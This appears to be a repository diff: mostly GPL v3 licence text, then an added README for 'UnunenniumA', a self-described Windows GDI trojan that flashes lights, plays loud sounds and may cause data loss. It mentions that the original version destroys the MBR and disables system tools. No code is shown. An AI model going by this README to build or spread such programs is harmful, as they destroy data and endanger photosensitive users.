"Major Component", in this context, means a major essential component
|
| 130 |
+
(kernel, window system, and so on) of the specific operating system
|
| 131 |
+
(if any) on which the executable work runs, or a compiler used to
|
| 132 |
+
produce the work, or an object code interpreter used to run it.
|
| 133 |
+
|
| 134 |
+
The "Corresponding Source" for a work in object code form means all
|
| 135 |
+
the source code needed to generate, install, and (for an executable
|
| 136 |
+
work) run the object code and to modify the work, including scripts to
|
| 137 |
+
control those activities. However, it does not include the work's
|
| 138 |
+
System Libraries, or general-purpose tools or generally available free
|
| 139 |
+
programs which are used unmodified in performing those activities but
|
| 140 |
+
which are not part of the work. For example, Corresponding Source
|
| 141 |
+
includes interface definition files associated with source files for
|
| 142 |
+
the work, and the source code for shared libraries and dynamically
|
| 143 |
+
linked subprograms that the work is specifically designed to require,
|
| 144 |
+
such as by intimate data communication or control flow between those
|
| 145 |
+
subprograms and other parts of the work.
|
| 146 |
+
|
| 147 |
+
The Corresponding Source need not include anything that users
|
| 148 |
+
can regenerate automatically from other parts of the Corresponding
|
| 149 |
+
Source.
|
| 150 |
+
|
| 151 |
+
The Corresponding Source for a work in source code form is that
|
| 152 |
+
same work.
|
| 153 |
+
|
| 154 |
+
2. Basic Permissions.
|
| 155 |
+
|
| 156 |
+
All rights granted under this License are granted for the term of
|
| 157 |
+
copyright on the Program, and are irrevocable provided the stated
|
| 158 |
+
conditions are met. This License explicitly affirms your unlimited
|
| 159 |
+
permission to run the unmodified Program. The output from running a
|
| 160 |
+
covered work is covered by this License only if the output, given its
|
| 161 |
+
content, constitutes a covered work. This License acknowledges your
|
| 162 |
+
rights of fair use or other equivalent, as provided by copyright law.
|
| 163 |
+
|
| 164 |
+
You may make, run and propagate covered works that you do not
|
| 165 |
+
convey, without conditions so long as your license otherwise remains
|
| 166 |
+
in force. You may convey covered works to others for the sole purpose
|
| 167 |
+
of having them make modifications exclusively for you, or provide you
|
| 168 |
+
with facilities for running those works, provided that you comply with
|
| 169 |
+
the terms of this License in conveying all material for which you do
|
| 170 |
+
not control copyright. Those thus making or running the covered works
|
| 171 |
+
for you must do so exclusively on your behalf, under your direction
|
| 172 |
+
and control, on terms that prohibit them from making any copies of
|
| 173 |
+
your copyrighted material outside their relationship with you.
|
| 174 |
+
|
| 175 |
+
Conveying under any other circumstances is permitted solely under
|
| 176 |
+
the conditions stated below. Sublicensing is not allowed; section 10
|
| 177 |
+
makes it unnecessary.
|
| 178 |
+
|
| 179 |
+
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
| 180 |
+
|
| 181 |
+
No covered work shall be deemed part of an effective technological
|
| 182 |
+
measure under any applicable law fulfilling obligations under article
|
| 183 |
+
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
| 184 |
+
similar laws prohibiting or restricting circumvention of such
|
| 185 |
+
measures.
|
| 186 |
+
|
| 187 |
+
When you convey a covered work, you waive any legal power to forbid
|
| 188 |
+
circumvention of technological measures to the extent such circumvention
|
| 189 |
+
is effected by exercising rights under this License with respect to
|
| 190 |
+
the covered work, and you disclaim any intention to limit operation or
|
| 191 |
+
modification of the work as a means of enforcing, against the work's
|
| 192 |
+
users, your or third parties' legal rights to forbid circumvention of
|
| 193 |
+
technological measures.
|
| 194 |
+
|
| 195 |
+
4. Conveying Verbatim Copies.
|
| 196 |
+
|
| 197 |
+
You may convey verbatim copies of the Program's source code as you
|
| 198 |
+
receive it, in any medium, provided that you conspicuously and
|
| 199 |
+
appropriately publish on each copy an appropriate copyright notice;
|
| 200 |
+
keep intact all notices stating that this License and any
|
| 201 |
+
non-permissive terms added in accord with section 7 apply to the code;
|
| 202 |
+
keep intact all notices of the absence of any warranty; and give all
|
| 203 |
+
recipients a copy of this License along with the Program.
|
| 204 |
+
|
| 205 |
+
You may charge any price or no price for each copy that you convey,
|
| 206 |
+
and you may offer support or warranty protection for a fee.
|
| 207 |
+
|
| 208 |
+
5. Conveying Modified Source Versions.
|
| 209 |
+
|
| 210 |
+
You may convey a work based on the Program, or the modifications to
|
| 211 |
+
produce it from the Program, in the form of source code under the
|
| 212 |
+
terms of section 4, provided that you also meet all of these conditions:
|
| 213 |
+
|
| 214 |
+
a) The work must carry prominent notices stating that you modified
|
| 215 |
+
it, and giving a relevant date.
|
| 216 |
+
|
| 217 |
+
b) The work must carry prominent notices stating that it is
|
| 218 |
+
released under this License and any conditions added under section
|
| 219 |
+
7. This requirement modifies the requirement in section 4 to
|
| 220 |
+
"keep intact all notices".
|
| 221 |
+
|
| 222 |
+
c) You must license the entire work, as a whole, under this
|
| 223 |
+
License to anyone who comes into possession of a copy. This
|
| 224 |
+
License will therefore apply, along with any applicable section 7
|
| 225 |
+
additional terms, to the whole of the work, and all its parts,
|
| 226 |
+
regardless of how they are packaged. This License gives no
|
| 227 |
+
permission to license the work in any other way, but it does not
|
| 228 |
+
invalidate such permission if you have separately received it.
|
| 229 |
+
|
| 230 |
+
d) If the work has interactive user interfaces, each must display
|
| 231 |
+
Appropriate Legal Notices; however, if the Program has interactive
|
| 232 |
+
interfaces that do not display Appropriate Legal Notices, your
|
| 233 |
+
work need not make them do so.
|
| 234 |
+
|
| 235 |
+
A compilation of a covered work with other separate and independent
|
| 236 |
+
works, which are not by their nature extensions of the covered work,
|
| 237 |
+
and which are not combined with it such as to form a larger program,
|
| 238 |
+
in or on a volume of a storage or distribution medium, is called an
|
| 239 |
+
"aggregate" if the compilation and its resulting copyright are not
|
| 240 |
+
used to limit the access or legal rights of the compilation's users
|
| 241 |
+
beyond what the individual works permit. Inclusion of a covered work
|
| 242 |
+
in an aggregate does not cause this License to apply to the other
|
| 243 |
+
parts of the aggregate.
|
| 244 |
+
|
| 245 |
+
6. Conveying Non-Source Forms.
|
| 246 |
+
|
| 247 |
+
You may convey a covered work in object code form under the terms
|
| 248 |
+
of sections 4 and 5, provided that you also convey the
|
| 249 |
+
machine-readable Corresponding Source under the terms of this License,
|
| 250 |
+
in one of these ways:
|
| 251 |
+
|
| 252 |
+
a) Convey the object code in, or embodied in, a physical product
|
| 253 |
+
(including a physical distribution medium), accompanied by the
|
| 254 |
+
Corresponding Source fixed on a durable physical medium
|
| 255 |
+
customarily used for software interchange.
|
| 256 |
+
|
| 257 |
+
b) Convey the object code in, or embodied in, a physical product
|
| 258 |
+
(including a physical distribution medium), accompanied by a
|
| 259 |
+
written offer, valid for at least three years and valid for as
|
| 260 |
+
long as you offer spare parts or customer support for that product
|
| 261 |
+
model, to give anyone who possesses the object code either (1) a
|
| 262 |
+
copy of the Corresponding Source for all the software in the
|
| 263 |
+
product that is covered by this License, on a durable physical
|
| 264 |
+
medium customarily used for software interchange, for a price no
|
| 265 |
+
more than your reasonable cost of physically performing this
|
| 266 |
+
conveying of source, or (2) access to copy the
|
| 267 |
+
Corresponding Source from a network server at no charge.
|
| 268 |
+
|
| 269 |
+
c) Convey individual copies of the object code with a copy of the
|
| 270 |
+
written offer to provide the Corresponding Source. This
|
| 271 |
+
alternative is allowed only occasionally and noncommercially, and
|
| 272 |
+
only if you received the object code with such an offer, in accord
|
| 273 |
+
with subsection 6b.
|
| 274 |
+
|
| 275 |
+
d) Convey the object code by offering access from a designated
|
| 276 |
+
place (gratis or for a charge), and offer equivalent access to the
|
| 277 |
+
Corresponding Source in the same way through the same place at no
|
| 278 |
+
further charge. You need not require recipients to copy the
|
| 279 |
+
Corresponding Source along with the object code. If the place to
|
| 280 |
+
copy the object code is a network server, the Corresponding Source
|
| 281 |
+
may be on a different server (operated by you or a third party)
|
| 282 |
+
that supports equivalent copying facilities, provided you maintain
|
| 283 |
+
clear directions next to the object code saying where to find the
|
| 284 |
+
Corresponding Source. Regardless of what server hosts the
|
| 285 |
+
Corresponding Source, you remain obligated to ensure that it is
|
| 286 |
+
available for as long as needed to satisfy these requirements.
|
| 287 |
+
|
| 288 |
+
e) Convey the object code using peer-to-peer transmission, provided
|
| 289 |
+
you inform other peers where the object code and Corresponding
|
| 290 |
+
Source of the work are being offered to the general public at no
|
| 291 |
+
charge under subsection 6d.
|
| 292 |
+
|
| 293 |
+
A separable portion of the object code, whose source code is excluded
|
| 294 |
+
from the Corresponding Source as a System Library, need not be
|
| 295 |
+
included in conveying the object code work.
|
| 296 |
+
|
| 297 |
+
A "User Product" is either (1) a "consumer product", which means any
|
| 298 |
+
tangible personal property which is normally used for personal, family,
|
| 299 |
+
or household purposes, or (2) anything designed or sold for incorporation
|
| 300 |
+
into a dwelling. In determining whether a product is a consumer product,
|
| 301 |
+
doubtful cases shall be resolved in favor of coverage. For a particular
|
| 302 |
+
product received by a particular user, "normally used" refers to a
|
| 303 |
+
typical or common use of that class of product, regardless of the status
|
| 304 |
+
of the particular user or of the way in which the particular user
|
| 305 |
+
actually uses, or expects or is expected to use, the product. A product
|
| 306 |
+
is a consumer product regardless of whether the product has substantial
|
| 307 |
+
commercial, industrial or non-consumer uses, unless such uses represent
|
| 308 |
+
the only significant mode of use of the product.
|
| 309 |
+
|
| 310 |
+
"Installation Information" for a User Product means any methods,
|
| 311 |
+
procedures, authorization keys, or other information required to install
|
| 312 |
+
and execute modified versions of a covered work in that User Product from
|
| 313 |
+
a modified version of its Corresponding Source. The information must
|
| 314 |
+
suffice to ensure that the continued functioning of the modified object
|
| 315 |
+
code is in no case prevented or interfered with solely because
|
| 316 |
+
modification has been made.
|
| 317 |
+
|
| 318 |
+
If you convey an object code work under this section in, or with, or
|
| 319 |
+
specifically for use in, a User Product, and the conveying occurs as
|
| 320 |
+
part of a transaction in which the right of possession and use of the
|
| 321 |
+
User Product is transferred to the recipient in perpetuity or for a
|
| 322 |
+
fixed term (regardless of how the transaction is characterized), the
|
| 323 |
+
Corresponding Source conveyed under this section must be accompanied
|
| 324 |
+
by the Installation Information. But this requirement does not apply
|
| 325 |
+
if neither you nor any third party retains the ability to install
|
| 326 |
+
modified object code on the User Product (for example, the work has
|
| 327 |
+
been installed in ROM).
|
| 328 |
+
|
| 329 |
+
The requirement to provide Installation Information does not include a
|
| 330 |
+
requirement to continue to provide support service, warranty, or updates
|
| 331 |
+
for a work that has been modified or installed by the recipient, or for
|
| 332 |
+
the User Product in which it has been modified or installed. Access to a
|
| 333 |
+
network may be denied when the modification itself materially and
|
| 334 |
+
adversely affects the operation of the network or violates the rules and
|
| 335 |
+
protocols for communication across the network.
|
| 336 |
+
|
| 337 |
+
Corresponding Source conveyed, and Installation Information provided,
|
| 338 |
+
in accord with this section must be in a format that is publicly
|
| 339 |
+
documented (and with an implementation available to the public in
|
| 340 |
+
source code form), and must require no special password or key for
|
| 341 |
+
unpacking, reading or copying.
|
| 342 |
+
|
| 343 |
+
7. Additional Terms.
|
| 344 |
+
|
| 345 |
+
"Additional permissions" are terms that supplement the terms of this
|
| 346 |
+
License by making exceptions from one or more of its conditions.
|
| 347 |
+
Additional permissions that are applicable to the entire Program shall
|
| 348 |
+
be treated as though they were included in this License, to the extent
|
| 349 |
+
that they are valid under applicable law. If additional permissions
|
| 350 |
+
apply only to part of the Program, that part may be used separately
|
| 351 |
+
under those permissions, but the entire Program remains governed by
|
| 352 |
+
this License without regard to the additional permissions.
|
| 353 |
+
|
| 354 |
+
When you convey a copy of a covered work, you may at your option
|
| 355 |
+
remove any additional permissions from that copy, or from any part of
|
| 356 |
+
it. (Additional permissions may be written to require their own
|
| 357 |
+
removal in certain cases when you modify the work.) You may place
|
| 358 |
+
additional permissions on material, added by you to a covered work,
|
| 359 |
+
for which you have or can give appropriate copyright permission.
|
| 360 |
+
|
| 361 |
+
Notwithstanding any other provision of this License, for material you
|
| 362 |
+
add to a covered work, you may (if authorized by the copyright holders of
|
| 363 |
+
that material) supplement the terms of this License with terms:
|
| 364 |
+
|
| 365 |
+
a) Disclaiming warranty or limiting liability differently from the
|
| 366 |
+
terms of sections 15 and 16 of this License; or
|
| 367 |
+
|
| 368 |
+
b) Requiring preservation of specified reasonable legal notices or
|
| 369 |
+
author attributions in that material or in the Appropriate Legal
|
| 370 |
+
Notices displayed by works containing it; or
|
| 371 |
+
|
| 372 |
+
c) Prohibiting misrepresentation of the origin of that material, or
|
| 373 |
+
requiring that modified versions of such material be marked in
|
| 374 |
+
reasonable ways as different from the original version; or
|
| 375 |
+
|
| 376 |
+
d) Limiting the use for publicity purposes of names of licensors or
|
| 377 |
+
authors of the material; or
|
| 378 |
+
|
| 379 |
+
e) Declining to grant rights under trademark law for use of some
|
| 380 |
+
trade names, trademarks, or service marks; or
|
| 381 |
+
|
| 382 |
+
f) Requiring indemnification of licensors and authors of that
|
| 383 |
+
material by anyone who conveys the material (or modified versions of
|
| 384 |
+
it) with contractual assumptions of liability to the recipient, for
|
| 385 |
+
any liability that these contractual assumptions directly impose on
|
| 386 |
+
those licensors and authors.
|
| 387 |
+
|
| 388 |
+
All other non-permissive additional terms are considered "further
|
| 389 |
+
restrictions" within the meaning of section 10. If the Program as you
|
| 390 |
+
received it, or any part of it, contains a notice stating that it is
|
| 391 |
+
governed by this License along with a term that is a further
|
| 392 |
+
restriction, you may remove that term. If a license document contains
|
| 393 |
+
a further restriction but permits relicensing or conveying under this
|
| 394 |
+
License, you may add to a covered work material governed by the terms
|
| 395 |
+
of that license document, provided that the further restriction does
|
| 396 |
+
not survive such relicensing or conveying.
|
| 397 |
+
|
| 398 |
+
If you add terms to a covered work in accord with this section, you
|
| 399 |
+
must place, in the relevant source files, a statement of the
|
| 400 |
+
additional terms that apply to those files, or a notice indicating
|
| 401 |
+
where to find the applicable terms.
|
| 402 |
+
|
| 403 |
+
Additional terms, permissive or non-permissive, may be stated in the
|
| 404 |
+
form of a separately written license, or stated as exceptions;
|
| 405 |
+
the above requirements apply either way.
|
| 406 |
+
|
| 407 |
+
8. Termination.
|
| 408 |
+
|
| 409 |
+
You may not propagate or modify a covered work except as expressly
|
| 410 |
+
provided under this License. Any attempt otherwise to propagate or
|
| 411 |
+
modify it is void, and will automatically terminate your rights under
|
| 412 |
+
this License (including any patent licenses granted under the third
|
| 413 |
+
paragraph of section 11).
|
| 414 |
+
|
| 415 |
+
However, if you cease all violation of this License, then your
|
| 416 |
+
license from a particular copyright holder is reinstated (a)
|
| 417 |
+
provisionally, unless and until the copyright holder explicitly and
|
| 418 |
+
finally terminates your license, and (b) permanently, if the copyright
|
| 419 |
+
holder fails to notify you of the violation by some reasonable means
|
| 420 |
+
prior to 60 days after the cessation.
|
| 421 |
+
|
| 422 |
+
Moreover, your license from a particular copyright holder is
|
| 423 |
+
reinstated permanently if the copyright holder notifies you of the
|
| 424 |
+
violation by some reasonable means, this is the first time you have
|
| 425 |
+
received notice of violation of this License (for any work) from that
|
| 426 |
+
copyright holder, and you cure the violation prior to 30 days after
|
| 427 |
+
your receipt of the notice.
|
| 428 |
+
|
| 429 |
+
Termination of your rights under this section does not terminate the
|
| 430 |
+
licenses of parties who have received copies or rights from you under
|
| 431 |
+
this License. If your rights have been terminated and not permanently
|
| 432 |
+
reinstated, you do not qualify to receive new licenses for the same
|
| 433 |
+
material under section 10.
|
| 434 |
+
|
| 435 |
+
9. Acceptance Not Required for Having Copies.
|
| 436 |
+
|
| 437 |
+
You are not required to accept this License in order to receive or
|
| 438 |
+
run a copy of the Program. Ancillary propagation of a covered work
|
| 439 |
+
occurring solely as a consequence of using peer-to-peer transmission
|
| 440 |
+
to receive a copy likewise does not require acceptance. However,
|
| 441 |
+
nothing other than this License grants you permission to propagate or
|
| 442 |
+
modify any covered work. These actions infringe copyright if you do
|
| 443 |
+
not accept this License. Therefore, by modifying or propagating a
|
| 444 |
+
covered work, you indicate your acceptance of this License to do so.
|
| 445 |
+
|
| 446 |
+
10. Automatic Licensing of Downstream Recipients.
|
| 447 |
+
|
| 448 |
+
Each time you convey a covered work, the recipient automatically
|
| 449 |
+
receives a license from the original licensors, to run, modify and
|
| 450 |
+
propagate that work, subject to this License. You are not responsible
|
| 451 |
+
for enforcing compliance by third parties with this License.
|
| 452 |
+
|
| 453 |
+
An "entity transaction" is a transaction transferring control of an
|
| 454 |
+
organization, or substantially all assets of one, or subdividing an
|
| 455 |
+
organization, or merging organizations. If propagation of a covered
|
| 456 |
+
work results from an entity transaction, each party to that
|
| 457 |
+
transaction who receives a copy of the work also receives whatever
|
| 458 |
+
licenses to the work the party's predecessor in interest had or could
|
| 459 |
+
give under the previous paragraph, plus a right to possession of the
|
| 460 |
+
Corresponding Source of the work from the predecessor in interest, if
|
| 461 |
+
the predecessor has it or can get it with reasonable efforts.
|
| 462 |
+
|
| 463 |
+
You may not impose any further restrictions on the exercise of the
|
| 464 |
+
rights granted or affirmed under this License. For example, you may
|
| 465 |
+
not impose a license fee, royalty, or other charge for exercise of
|
| 466 |
+
rights granted under this License, and you may not initiate litigation
|
| 467 |
+
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
| 468 |
+
any patent claim is infringed by making, using, selling, offering for
|
| 469 |
+
sale, or importing the Program or any portion of it.
|
| 470 |
+
|
| 471 |
+
11. Patents.
|
| 472 |
+
|
| 473 |
+
A "contributor" is a copyright holder who authorizes use under this
|
| 474 |
+
License of the Program or a work on which the Program is based. The
|
| 475 |
+
work thus licensed is called the contributor's "contributor version".
|
| 476 |
+
|
| 477 |
+
A contributor's "essential patent claims" are all patent claims
|
| 478 |
+
owned or controlled by the contributor, whether already acquired or
|
| 479 |
+
hereafter acquired, that would be infringed by some manner, permitted
|
| 480 |
+
by this License, of making, using, or selling its contributor version,
|
| 481 |
+
but do not include claims that would be infringed only as a
|
| 482 |
+
consequence of further modification of the contributor version. For
|
| 483 |
+
purposes of this definition, "control" includes the right to grant
|
| 484 |
+
patent sublicenses in a manner consistent with the requirements of
|
| 485 |
+
this License.
|
| 486 |
+
|
| 487 |
+
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
| 488 |
+
patent license under the contributor's essential patent claims, to
|
| 489 |
+
make, use, sell, offer for sale, import and otherwise run, modify and
|
| 490 |
+
propagate the contents of its contributor version.
|
| 491 |
+
|
| 492 |
+
In the following three paragraphs, a "patent license" is any express
|
| 493 |
+
agreement or commitment, however denominated, not to enforce a patent
|
| 494 |
+
(such as an express permission to practice a patent or covenant not to
|
| 495 |
+
sue for patent infringement). To "grant" such a patent license to a
|
| 496 |
+
party means to make such an agreement or commitment not to enforce a
|
| 497 |
+
patent against the party.
|
| 498 |
+
|
| 499 |
+
If you convey a covered work, knowingly relying on a patent license,
|
| 500 |
+
and the Corresponding Source of the work is not available for anyone
|
| 501 |
+
to copy, free of charge and under the terms of this License, through a
|
| 502 |
+
publicly available network server or other readily accessible means,
|
| 503 |
+
then you must either (1) cause the Corresponding Source to be so
|
| 504 |
+
available, or (2) arrange to deprive yourself of the benefit of the
|
| 505 |
+
patent license for this particular work, or (3) arrange, in a manner
|
| 506 |
+
consistent with the requirements of this License, to extend the patent
|
| 507 |
+
license to downstream recipients. "Knowingly relying" means you have
|
| 508 |
+
actual knowledge that, but for the patent license, your conveying the
|
| 509 |
+
covered work in a country, or your recipient's use of the covered work
|
| 510 |
+
in a country, would infringe one or more identifiable patents in that
|
| 511 |
+
country that you have reason to believe are valid.
|
| 512 |
+
|
| 513 |
+
If, pursuant to or in connection with a single transaction or
|
| 514 |
+
arrangement, you convey, or propagate by procuring conveyance of, a
|
| 515 |
+
covered work, and grant a patent license to some of the parties
|
| 516 |
+
receiving the covered work authorizing them to use, propagate, modify
|
| 517 |
+
or convey a specific copy of the covered work, then the patent license
|
| 518 |
+
you grant is automatically extended to all recipients of the covered
|
| 519 |
+
work and works based on it.
|
| 520 |
+
|
| 521 |
+
A patent license is "discriminatory" if it does not include within
|
| 522 |
+
the scope of its coverage, prohibits the exercise of, or is
|
| 523 |
+
conditioned on the non-exercise of one or more of the rights that are
|
| 524 |
+
specifically granted under this License. You may not convey a covered
|
| 525 |
+
work if you are a party to an arrangement with a third party that is
|
| 526 |
+
in the business of distributing software, under which you make payment
|
| 527 |
+
to the third party based on the extent of your activity of conveying
|
| 528 |
+
the work, and under which the third party grants, to any of the
|
| 529 |
+
parties who would receive the covered work from you, a discriminatory
|
| 530 |
+
patent license (a) in connection with copies of the covered work
|
| 531 |
+
conveyed by you (or copies made from those copies), or (b) primarily
|
| 532 |
+
for and in connection with specific products or compilations that
|
| 533 |
+
contain the covered work, unless you entered into that arrangement,
|
| 534 |
+
or that patent license was granted, prior to 28 March 2007.
|
| 535 |
+
|
| 536 |
+
Nothing in this License shall be construed as excluding or limiting
|
| 537 |
+
any implied license or other defenses to infringement that may
|
| 538 |
+
otherwise be available to you under applicable patent law.
|
| 539 |
+
|
| 540 |
+
12. No Surrender of Others' Freedom.
|
| 541 |
+
|
| 542 |
+
If conditions are imposed on you (whether by court order, agreement or
|
| 543 |
+
otherwise) that contradict the conditions of this License, they do not
|
| 544 |
+
excuse you from the conditions of this License. If you cannot convey a
|
| 545 |
+
covered work so as to satisfy simultaneously your obligations under this
|
| 546 |
+
License and any other pertinent obligations, then as a consequence you may
|
| 547 |
+
not convey it at all. For example, if you agree to terms that obligate you
|
| 548 |
+
to collect a royalty for further conveying from those to whom you convey
|
| 549 |
+
the Program, the only way you could satisfy both those terms and this
|
| 550 |
+
License would be to refrain entirely from conveying the Program.
|
| 551 |
+
|
| 552 |
+
13. Use with the GNU Affero General Public License.
|
| 553 |
+
|
| 554 |
+
Notwithstanding any other provision of this License, you have
|
| 555 |
+
permission to link or combine any covered work with a work licensed
|
| 556 |
+
under version 3 of the GNU Affero General Public License into a single
|
| 557 |
+
combined work, and to convey the resulting work. The terms of this
|
| 558 |
+
License will continue to apply to the part which is the covered work,
|
| 559 |
+
but the special requirements of the GNU Affero General Public License,
|
| 560 |
+
section 13, concerning interaction through a network will apply to the
|
| 561 |
+
combination as such.
|
| 562 |
+
|
| 563 |
+
14. Revised Versions of this License.
|
| 564 |
+
|
| 565 |
+
The Free Software Foundation may publish revised and/or new versions of
|
| 566 |
+
the GNU General Public License from time to time. Such new versions will
|
| 567 |
+
be similar in spirit to the present version, but may differ in detail to
|
| 568 |
+
address new problems or concerns.
|
| 569 |
+
|
| 570 |
+
Each version is given a distinguishing version number. If the
|
| 571 |
+
Program specifies that a certain numbered version of the GNU General
|
| 572 |
+
Public License "or any later version" applies to it, you have the
|
| 573 |
+
option of following the terms and conditions either of that numbered
|
| 574 |
+
version or of any later version published by the Free Software
|
| 575 |
+
Foundation. If the Program does not specify a version number of the
|
| 576 |
+
GNU General Public License, you may choose any version ever published
|
| 577 |
+
by the Free Software Foundation.
|
| 578 |
+
|
| 579 |
+
If the Program specifies that a proxy can decide which future
|
| 580 |
+
versions of the GNU General Public License can be used, that proxy's
|
| 581 |
+
public statement of acceptance of a version permanently authorizes you
|
| 582 |
+
to choose that version for the Program.
|
| 583 |
+
|
| 584 |
+
Later license versions may give you additional or different
|
| 585 |
+
permissions. However, no additional obligations are imposed on any
|
| 586 |
+
author or copyright holder as a result of your choosing to follow a
|
| 587 |
+
later version.
|
| 588 |
+
|
| 589 |
+
15. Disclaimer of Warranty.
|
| 590 |
+
|
| 591 |
+
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
| 592 |
+
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
| 593 |
+
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
| 594 |
+
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
| 595 |
+
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
| 596 |
+
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
| 597 |
+
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
| 598 |
+
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
| 599 |
+
|
| 600 |
+
16. Limitation of Liability.
|
| 601 |
+
|
| 602 |
+
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
| 603 |
+
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
| 604 |
+
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
| 605 |
+
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
| 606 |
+
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
| 607 |
+
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
| 608 |
+
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
| 609 |
+
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
| 610 |
+
SUCH DAMAGES.
|
| 611 |
+
|
| 612 |
+
17. Interpretation of Sections 15 and 16.
|
| 613 |
+
|
| 614 |
+
If the disclaimer of warranty and limitation of liability provided
|
| 615 |
+
above cannot be given local legal effect according to their terms,
|
| 616 |
+
reviewing courts shall apply local law that most closely approximates
|
| 617 |
+
an absolute waiver of all civil liability in connection with the
|
| 618 |
+
Program, unless a warranty or assumption of liability accompanies a
|
| 619 |
+
copy of the Program in return for a fee.
|
| 620 |
+
|
| 621 |
+
END OF TERMS AND CONDITIONS
|
| 622 |
+
|
| 623 |
+
How to Apply These Terms to Your New Programs
|
| 624 |
+
|
| 625 |
+
If you develop a new program, and you want it to be of the greatest
|
| 626 |
+
possible use to the public, the best way to achieve this is to make it
|
| 627 |
+
free software which everyone can redistribute and change under these terms.
|
| 628 |
+
|
| 629 |
+
To do so, attach the following notices to the program. It is safest
|
| 630 |
+
to attach them to the start of each source file to most effectively
|
| 631 |
+
state the exclusion of warranty; and each file should have at least
|
| 632 |
+
the "copyright" line and a pointer to where the full notice is found.
|
| 633 |
+
|
| 634 |
+
<one line to give the program's name and a brief idea of what it does.>
|
| 635 |
+
Copyright (C) <year> <name of author>
|
| 636 |
+
|
| 637 |
+
This program is free software: you can redistribute it and/or modify
|
| 638 |
+
it under the terms of the GNU General Public License as published by
|
| 639 |
+
the Free Software Foundation, either version 3 of the License, or
|
| 640 |
+
(at your option) any later version.
|
| 641 |
+
|
| 642 |
+
This program is distributed in the hope that it will be useful,
|
| 643 |
+
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
| 644 |
+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
| 645 |
+
GNU General Public License for more details.
|
| 646 |
+
|
| 647 |
+
You should have received a copy of the GNU General Public License
|
| 648 |
+
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
| 649 |
+
|
| 650 |
+
Also add information on how to contact you by electronic and paper mail.
|
| 651 |
+
|
| 652 |
+
If the program does terminal interaction, make it output a short
|
| 653 |
+
notice like this when it starts in an interactive mode:
|
| 654 |
+
|
| 655 |
+
<program> Copyright (C) <year> <name of author>
|
| 656 |
+
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
| 657 |
+
This is free software, and you are welcome to redistribute it
|
| 658 |
+
under certain conditions; type `show c' for details.
|
| 659 |
+
|
| 660 |
+
The hypothetical commands `show w' and `show c' should show the appropriate
|
| 661 |
+
parts of the General Public License. Of course, your program's commands
|
| 662 |
+
might be different; for a GUI interface, you would use an "about box".
|
| 663 |
+
|
| 664 |
+
You should also get your employer (if you work as a programmer) or school,
|
| 665 |
+
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
| 666 |
+
For more information on this, and how to apply and follow the GNU GPL, see
|
| 667 |
+
<https://www.gnu.org/licenses/>.
|
| 668 |
+
|
| 669 |
+
The GNU General Public License does not permit incorporating your program
|
| 670 |
+
into proprietary programs. If your program is a subroutine library, you
|
| 671 |
+
may consider it more useful to permit linking proprietary applications with
|
| 672 |
+
the library. If this is what you want to do, use the GNU Lesser General
|
| 673 |
+
Public License instead of this License. But first, please read
|
| 674 |
+
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
src/GDI-Trojan.Win32.UnunenniumA-main/README.md
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# 🤔 What is UnunenniumA.exe?
|
| 2 |
+
|
| 3 |
+
UnunenniumA is a Trojan horse designed for Windows XP-11. It uses typedef NTSTATUS to crash the system. (not really it just shows that in the source) And its a short remaster to Ununennium by NotCCR.
|
| 4 |
+
|
| 5 |
+
# ⚠️ Important!!!
|
| 6 |
+
This is a potentially harmful program that can cause your system's death & data loss. This software also displays flashing lights and plays loud sounds, so if you have a photosensitive disease like epilepsy, don't run this or watch any video about it for your security.
|
| 7 |
+
|
| 8 |
+
By running this program, you accept full responsibility for any damages that may occur. So, the creator (SBH a.k.a Stomachbughead) will not be responsible for anything caused by this software. By the way, this was created for educational and entertainment purposes, consequently, don't use it to do malicious acts like sharing with a friend.
|
| 9 |
+
|
| 10 |
+
# 🤔 What is the difference about Ununennium and UnunenniumA?
|
| 11 |
+
|
| 12 |
+
Ununennium (NotCCR) is destructive. His version contains system tools disabling. Destroying the MBR. etc..
|
| 13 |
+
|
| 14 |
+
UnunenniumA on the other hand doesn't disable system tools. Destroy the MBR and more. Its (kinda safe). So run at your own risk.
|
| 15 |
+
|
| 16 |
+
# 🤡 For Skidders!
|
| 17 |
+
|
| 18 |
+
